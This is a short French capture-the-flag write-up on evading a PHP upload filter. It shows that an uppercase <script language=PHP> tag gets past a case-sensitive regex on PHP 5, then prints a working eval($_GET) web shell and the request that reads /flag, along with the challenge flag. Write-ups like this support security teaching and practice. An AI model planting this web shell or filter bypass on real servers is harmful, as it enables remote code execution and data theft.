Description
Le script d’upload retire tous les /<\?|php/. Donc, vous ne pouvez pas lancer du php.
Vous pouvez seulement uploader des fichier dont le nom est capturé par la regexp /^[a-zA-Z0-9]+\.[a-zA-Z0-9]+$/.
Resolution
L’énoncé est clair, il faut réussir à exécuter du php, malgré les regexp qui nous bloquent la route.
Habituellement on utilise <?php, <? ou <?= pour débuter un code php, la regexp supprimant « <? » et « php » on se retrouve vite coincé.
Un petit tour dans la documentation php nous donne une piste, on peut voir que la synaxe « <script language=php>
» pouvant passer la regexp a été supprimée en php 7. Cela tombe bien, les headers http de l’épreuve nous apprennent que c’est PHP/5.5.9-1ubuntu4.11 qui est utilisé.
On tente d’abord d’uploader un fichier contenant un petit « <script language=php>echo time();</script>
» mais non, cela ne passe pas, la regexp nous supprime le mot php dans notre code.
Oh mais, et si la regexp était sensible à la casse ? Envoyons le mot PHP en majuscules…
<script language=PHP>eval($_GET['q']);</script>
On tente alors de lire le flag, en passant à notre script l’argument « q=echo file_get_contents('/flag');
»
Ça fonctionne !
Le flag est : MMA{you can run php from script tag}